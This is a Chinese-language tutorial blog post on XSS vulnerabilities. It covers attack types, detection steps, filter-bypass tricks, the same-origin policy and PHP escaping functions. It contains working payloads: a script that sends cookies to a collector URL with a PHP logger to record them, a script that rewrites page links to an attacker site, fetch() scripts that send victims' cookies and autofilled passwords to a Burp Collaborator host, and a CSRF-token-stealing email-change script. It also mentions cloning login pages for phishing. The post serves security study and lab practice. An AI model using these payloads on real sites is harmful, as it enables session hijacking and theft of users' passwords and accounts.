XSS漏洞

# 一、XSS

跨站脚本攻击,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面之时,嵌入其中web里面的script代码会被执行,从而达到恶意攻击用户的目的。防范:输入做过滤,输出做转义

https://tech.meituan.com/2018/09/27/fe-security.html

小明发现了这么一个字符串:

```js
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 `eval()`、`setTimeout()`、`setInterval()`、`Function()`、`innerHTML`、`document.write()` 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

小明只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。

```
http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
```

**分类:**

**反射型xss:**又称为非持久性xss,这种攻击往往具有一次性。

攻击者通过邮件等形式将包含xss代码的链接发送给正常用户,当用户点击时,服务器接收该用户的请求并进行处理,然后把带有xss的代码发送给用户,用户浏览器解析执行代码,触发xss漏洞。

反射型 XSS 的攻击步骤:

1. 攻击者构造出特殊的 URL,其中包含恶意代码。
2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

**存储型xss:**又称为持久性xss,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。

攻击者在论坛、博客、留言板中,发帖的过程中嵌入xss代码,帖子被目标服务器存储在数据库中。当用户进行正常的访问时,触发xss代码。

存储型 XSS 的攻击步骤:

1. 攻击者将恶意代码提交到目标网站的数据库中。
2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

**DOM性xss:**全称document object model,使用DOM动态访问更新文档的内容、结构及样式。

HTML标签都是节点,节点组成了节点树。通过HTML DOM可以对树上的所有节点进行修改。

服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理xss代码,触发xss漏洞。

DOM 型 XSS 的攻击步骤:

1. 攻击者构造出特殊的 URL,其中包含恶意代码。
2. 用户打开带有恶意代码的 URL。
3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

**探测xss过程:**

1、在目标网站上找到输入点,比如查询接口、留言板等

2、构造一个独一无二且不会被识别为恶意代码的特殊字符+字符串用来提交到页面。例如:< 123qweasd

3、使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示。

4、通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)

5、提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行

tips:

一般在查询接口容易出现反射型xss,留言板容易出现存储型xss

由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器)

通过变化不同的script,尝试绕过后台过滤机制

## 1.盗取cookies

存在反射型xss的站点位置,可以利用以下链接来盗取cookie

```
url?id=<script>document.location="http://ip/cookie.php?cookie="+document.cookie</script>
```

用户点击链接即触发xss

cookie.php代码:

```php
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',cookie);
?>
```

**利用cookie会话劫持:**

得到cookie之后,访问目标网站,利用bp进行修改cookie值访问网站

## 2.xss篡改网页链接:

window.onload 当窗口加载时,执行匿名函数。

使用for循环遍历所有获得的链接a标签,将所有a标签链接篡改为攻击链接

```javascript
<script>
window.onload = function(){
var link = document.getElementsByTagName("a);
for(j=0;j<link.length;j++){
    link[j].href="http://attacker-site.com/";}
}
</script>
```

## 3.xss盗用用户信息

原理:克隆网站登录页面,利用存储xss设置跳转代码,如果用户访问即跳转到克隆网站的登录页面,用户输入账号密码被存储。

**setookit工具克隆网站**:万能的社工工具

## 4.属性中的xss

属性中的xss闭合引入事件

123" οnmοuseοver=alert(document.domain)>

123“ οnmοuseοver="alert() 

光标移动上去就会弹出,闭合value="..."

onfocus 单击引发事件

"> < script>alert()< /script> 闭合input

## 5.选择列表中的xss

**HTML select标签**

select元素可创建单选或多选菜单

<  select>元素中的<option>标签用于定义列表中的可用选项

**HTML表单隐藏参数介绍**

隐藏域是用来搜集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上。

代码格式:<input type="hidden" name="..." value=..."">

**HTML中svg介绍**

svg意为可缩放矢量图形,使用xml格式定义图像。svg文件可通过以下标签嵌入HTML文档:<embed>,<object>,<iframe>

也可以使用svg标签插入

< svg/事件="">

< svg οnlοad=alert()>%0a (空格)

**HTML事件介绍**

在现代浏览器中都内置有大量的事件处理器,这些处理器会监视特定的条件或用户行为,例如,鼠标单击(onclick)或浏览器窗口中完成加载某个图像(onload)。通过使用客户端的JavaScript,可以将某些特定的事件处理器作为属性添加给特定的标签,并可以在事件发生时执行一个或多个JavaScript命令或函数。

## 6.JavaScript伪协议介绍

将JavaScript代码添加到客户端的方法是把它放置在伪协议说明符JavaScript:后的url中,这个特殊的协议类型声明了url的主体是任意的JavaScript代码,它由JavaScript的解释器运行,如果JavaScript:url中的JavaScript代码含有多个语句,必须使用分号将这些语句分隔开。

JavaScript:var now = new Date();"<h1>the time is:</h1>"+now;

JavaScript url还可以含有只执行动作,但不返回值的JavaScript语句

JavaScript:alert("hello world")

## 7.一些绕过方法

**双写绕过**

对过滤的关键字进行双写,dodomainmain

**编码绕过**

payload:“>< script>eval(atob('base64编码'));< /script>

eval()执行里面的内容,atob()将base64编码转化为明文

**伪协议绕过**

payload:">< a href="javascript:alert()">xss< /a>

**空格绕过**

payload:">< a href="javas     cript:alert()">xss< /a>

**IE特性讲解**

在IE中,两个反引号``可以闭合一个左边双引号“

**css特性讲解**

background:url("javascript:alert();");设置背景颜色

设置background:url、利用JavaScript伪协议执行js。目前只有IE浏览器支持,其他浏览器已经不再支持

payload:background-color:#f00;background:url("JavaScript:alert();");

**css注释符**:/** /    绕过对关键字expression的过滤。ex/**/pression

css expression(css表达式),可以在css中定义表达式(公式)来达到建立元素间属性之间的联系等作用

payload:xss:expres/**/sion(if(!window.x){alert();window.x=1;})  只适用于IE

**16进制绕过**

使用Python将字符转换为js可识别的16进制

#import binascii

print " \ \x" +binascii.b2a_hex("<")

\3c         >(\3e)

**unicode绕过**

Unicode(统一码、万国码、单一码)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。是为了解决传统的字符编码方案的局限而产生的,他的每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。

使用Python将字符转换为Unicode类型

import binascii

print "\ \ u00" +binascii.b2a_hex("<")

**注释绕过**

使用注释符:<scri<!--test-->pt>alert(11)</sc<!--test-->ript>

## 8.浏览器同源策略

源的含义:在计算机中源在RFC6454文档中规定,源是由协议、主机名、端口名组成

例如:协议://主机名:端口号/     http://...和https://...不是同源的

同源策略:在计算机中,同源策略用于阻止一个非同源的页面恶意代码去访问另外一个非同源页面。

只有两个页面属于同一个源才能互相访问。不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所以a.com下的js脚本采用ajax读取b.com里面的文件数据是会报错的。

例如:源a页面要访问源b页面认证cookie,如果不加阻止读取cookie,会造成cookie欺骗绕过登录验证。

注意:同源一定要是 协议、主机名、端口号完全一致

**IE源的特殊处理:**

1.位于可信域的互信的域名间,不受同源策略限制

2.IE在判断同源时不考虑端口

可以通过document.domain读取或修改源。但是有限制,修改之后的源不能通过其他脚本再次修改

domain属性可以解决因同源策略安全策略带来的不同文档的属性共享问题。降域document.domain同源策略认为域和子域属于不同的域,

xxx.a.com 与a.com

两两不同源,可以通过设置document.domain='a.com',浏览器就会认为他们是同一个源。想要实现以上任意两个页面之间的通信,两个页面必须设置docum.domain='a.com'

输出域:

<script type="text/javascript">

document.write(document.domain)

</script>

## 9.xss_filter过滤器

**1.htmlspecialchars()函数**

把预定义的字符 "<" (小于)&lt和 ">" (大于)&gt转换为 HTML 实体,参数:ENT_COMPAT -默认,仅编码双引号;ENT_QUOTES -编码双引号和单引号;ENT_NOQUOTES -不编码任何引号,引号可以用来做闭合。

&变为&amp

''变为&quot

'变为&#039

**2.htmlentities()函数**

把字符转换为 HTML 实体:

**3.strip_tags()函数**

剥去字符串中的 HTML 标签:

**4.自定义xss filter**

## 10.编码转义

**url编码**

url设计者考虑到安全传输问题,防止url字符丢失,所以选用了相对较小的、通用的安全字母表。另一方面,url的设计者希望url是完整的,有时候需要url中包含除去通用安全字母表之外的二进制数据和字符(比如中文)。所以url引入了一种转义机制,将不安全的字符编码转为安全字符再进行传输。

百分号编码:url编码包含一个百分号,后面跟着两个表示字符ascii妈的十六进制数。如空格为%20

**HTML编码**

一些保留字符出现在文本节点和标签值里是不安全的。比如“<>”会导致浏览器误认为是标签。如果需要正确的显示这些字符,需要使用HTML编码

实体编码:一般以&开头,以;结尾,可以不加;,如<转为&lt

进制编码:以&#开头,加上字符的数值,;结尾,可以不加;。字符的数值可以是任意十进制ascii码或Unicode字符编码。十六进制的数值需要在编码数字前加x

%0a 换行符

**JavaScript编码**

数字形式:\u后面加上4位16进制数字(或\x后加上2位16进制数),按字符Unicode数值编码,不足位数以零填充。如<转为\u003c或\x3c。其中\u开头的Unicode转义方式可以用在字符串之外的位置,其他的不可以

**jsfuck编码:**在线加密网站,经常在ctf种出现

## 11.xss payload测试

kali下自带字典,在ctf比赛中经常使用

cd /usr/share/wordlists/wfuzz/Injections/    xss.txt

## 12.自动化工具xss漏洞挖掘工具

xsser:

是一款用于针对web应用程序自动化挖掘、利用、报告xss漏洞的框架。

xsstrike:

是一款检测xss的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。xsstrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外,xsstrike还具有爬行,模糊测试,参数发现,waf检测功能。他还会扫描DOM xss漏洞。

第七关:https://xss-quiz.int21h.jp/stage07.php?sid=25132e29576618c8de3b1d920cf43ee996303e2d

 

## 利用跨站脚本窃取 cookie

窃取 cookie 是利用 XSS 的传统方法。大多数 Web 应用程序使用 cookie 进行会话处理。您可以利用跨站点脚本漏洞将受害者的 cookie 发送到您自己的域,然后手动将 cookie 注入您的浏览器并冒充受害者。

在实践中,这种方法有一些明显的局限性:

- 受害者可能没有登录。
- 许多应用程序使用该`HttpOnly`标志对 JavaScript 隐藏其 cookie 。
- 会话可能会被其他因素锁定,例如用户的 IP 地址。
- 会话可能会在您能够劫持它之前超时。

1. 使用[Burp Suite Professional](https://portswigger.net/burp/pro),转到 Burp 菜单,然后启动[Burp Collaborator 客户端](https://portswigger.net/burp/documentation/desktop/tools/collaborator-client)。

2. 单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

3. 在博客评论中提交以下有效负载,在指示的地方插入您的 Burp Collaborator 子域: 此脚本将使查看评论的任何人发出 POST 请求以包含他们的 cookie。

   ```HTML
   <script>
   fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
   method: 'POST',
   mode: 'no-cors',
   body:document.cookie
   });
   </script>
   ```

   

4. 返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。您应该会看到 HTTP 交互。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。

5. 记下 POST 正文中受害者 cookie 的值。

6. 重新加载主博客页面,使用 Burp Proxy 或 Burp Repeater 将您自己的会话 cookie 替换为您在 Burp Collaborator 中捕获的会话 cookie。发送解决实验室的请求。为了证明您已经成功劫持了管理员用户的会话,您可以在请求中使用相同的 cookie`/my-account`来加载管理员用户的帐户页面。

 

## 利用跨站点脚本来捕获密码:

如今,许多用户都有自动填写密码的密码管理器。您可以通过创建密码输入、读出自动填充的密码并将其发送到您自己的域来利用这一点。这种技术避免了与窃取 cookie 相关的大部分问题,甚至可以访问受害者重复使用相同密码的所有其他帐户。

这种技术的主要缺点是它只适用于拥有执行密码自动填充的密码管理器的用户。(当然,如果用户没有保存密码,您仍然可以尝试通过现场网络钓鱼攻击获取他们的密码,但这并不完全相同。)

1. 使用[Burp Suite Professional](https://portswigger.net/burp/pro),转到 Burp 菜单,然后启动[Burp Collaborator 客户端](https://portswigger.net/burp/documentation/desktop/tools/collaborator-client)。

2. 单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

3. 在博客评论中提交以下有效负载,在指示的地方插入您的 Burp Collaborator 子域: 此脚本将使查看评论的任何人发出包含其用户名和密码的 POST 请求。

   ```html
   <input name=username id=user>
   <input type=password name=password οnchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
   method:'POST',
   mode: 'no-cors',
   body:user.value+':'+this.value
   });">
   ```

   

4. 返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。您应该会看到 HTTP 交互。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。

5. 记下 POST 正文中受害者用户名和密码的值。

6. 使用凭据以受害者用户身份登录。

 

## 利用跨站脚本执行CSRF

某些网站允许登录用户无需重新输入密码即可更改其电子邮件地址。如果您发现了 XSS 漏洞,您可以让它触发此功能,将受害者的电子邮件地址更改为您控制的地址,然后触发密码重置以获取对帐户的访问权限。

这种类型的利用通常被称为[跨站点请求伪造](https://portswigger.net/web-security/csrf)(CSRF),这有点令人困惑,因为 CSRF 也可以作为独立漏洞发生。当 CSRF 作为独立漏洞发生时,可以使用反 CSRF 令牌等策略对其进行修补。但是,如果还存在 XSS 漏洞,则这些策略不会提供任何保护。

1. 使用提供的凭据登录。在您的用户帐户页面上,注意更新您的电子邮件地址的功能。

2. 如果您查看页面的源代码,您将看到以下信息:

   - 您需要向 发出 POST 请求`/my-account/change-email`,并带有一个名为 的参数`email`。
   - 在名为 的隐藏输入中有一个反 CSRF 令牌`token`。

   这意味着您的漏洞利用将需要加载用户帐户页面,提取

   CSRF 令牌

   ,然后使用该令牌更改受害者的电子邮件地址。

3. 在博客评论中提交以下有效负载: 这将使查看评论的任何人发出 POST 请求以将其电子邮件地址更改为test@test.com。

   ```javascript
   <script>
   var req = new XMLHttpRequest();
   req.onload = handleResponse;
   req.open('get','/my-account',true);
   req.send();
   function handleResponse() {
       var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
       var changeReq = new XMLHttpRequest();
       changeReq.open('post', '/my-account/change-email', true);
       changeReq.send('csrf='+token+'&email=test@test.com')
   };
   </script>
   ```

   

## accesskey快捷键

您可能会遇到对尖括号进行编码但仍允许您注入属性的网站。有时,即使在通常不会自动触发事件的标签(例如规范标签)中,这些注入也是可能的。您可以在 Chrome 上使用访问键和用户交互来利用此行为。访问键允许您提供引用特定元素的键盘快捷键。该`accesskey`属性允许您定义一个字母,当与其他键(这些键因不同平台而异)组合按下时,将导致事件触发。在下一个实验中,您可以试验访问密钥并利用规范标签。

accesskey属性:带有指定快捷键的超链接:

```
<a href="http://www.w3school.com.cn/html/" accesskey="h">HTML</a><br />
<a href="http://www.w3school.com.cn/css/" accesskey="c">CSS</a>
```

访问以下 URL,替换`your-lab-id`为您的实验室 ID:
`https://your-lab-id.web-security-academy.net/?'accesskey='x'οnclick='alert(1)这会将`X`密钥设置为整个页面的访问密钥。当用户按下访问键时,该`alert`函数被调用。

要在自己身上触发漏洞利用,请按以下组合键之一:

- 在 Windows 上: `ALT+SHIFT+X`
- 在 MacOS 上: `CTRL+ALT+X`
- 在 Linux 上: `Alt+X`

## 跳出JavaScript字符串

在 XSS 上下文位于带引号的字符串文字内的情况下,通常可以跳出字符串并直接执行 JavaScript。必须在 XSS 上下文之后修复脚本,因为那里的任何语法错误都会阻止整个脚本执行。

打破字符串文字的一些有用方法是:

```javascript
'-alert(document.domain)-'
';alert(document.domain)//
实例:
<script>
   var searchTerms = '123';alert(2)//';  或者  var searchTerms = '123'-alert(2)-'';
   document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
```

 

## 不跳出JavaScript字符串

JavaScript 模板文字是允许嵌入 JavaScript 表达式的字符串文字。嵌入的表达式会被计算并通常连接到周围的文本中。模板文字被封装在反引号中而不是普通的引号中,并且使用`${...}`语法标识嵌入的表达式。

例如,以下脚本将打印一条包含用户显示名称的欢迎消息:文字和JavaScript一起执行,JavaScript需要使用${...}

```
document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;
```

当 XSS 上下文进入 JavaScript 模板文字时,不需要终止文字。相反,您只需使用`${...}`语法嵌入一个 JavaScript 表达式,该表达式将在处理文字时执行。例如,如果 XSS 上下文如下:

<script>...var input = `controllable data here`;...</script>
那么您可以使用以下有效负载来执行 JavaScript,而无需终止模板文字:

`${alert(document.domain)}`

 

## DOM XSS

文档对象模型 (DOM) 是网页浏览器对页面元素的分层表示。网站可以使用 JavaScript 来操作 DOM 的节点和对象,以及它们的属性。DOM 操作本身不是问题。事实上,它是现代网站工作方式不可或缺的一部分。但是,不安全地处理数据的 JavaScript 可能会引发各种攻击。当网站包含的 JavaScript 获取攻击者可控制的值(称为源)并将其传递到危险函数(称为接收器)时,就会出现基于 DOM 的漏洞。

基于 DOM 的 XSS(也称为[DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based))出现在应用程序包含一些客户端 JavaScript,这些 JavaScript 以不安全的方式处理来自不受信任来源的数据,通常是将数据写回 DOM。

在以下示例中,应用程序使用一些 JavaScript 从输入字段读取值并将该值写入 HTML 中的元素:

```JavaScript
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
```

如果攻击者可以控制输入字段的值,他们就可以很容易地构造一个恶意值来执行自己的脚本:

You searched for: <img src=1 οnerrοr='/* Bad stuff her

```html
You searched for: <img src=1 οnerrοr='/* Bad stuff here... */'>
```

在典型情况下,输入字段将从 HTTP 请求的一部分填充,例如 URL 查询字符串参数,允许攻击者以与反射 XSS 相同的方式使用恶意 URL 进行攻击。

以下是可用于利用各种污点流漏洞的典型来源:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

以下是一些可能导致 DOM-XSS 漏洞的主要接收器:

document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent

以下 jQuery 函数也是可能导致 DOM-XSS 漏洞的接收器:

add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值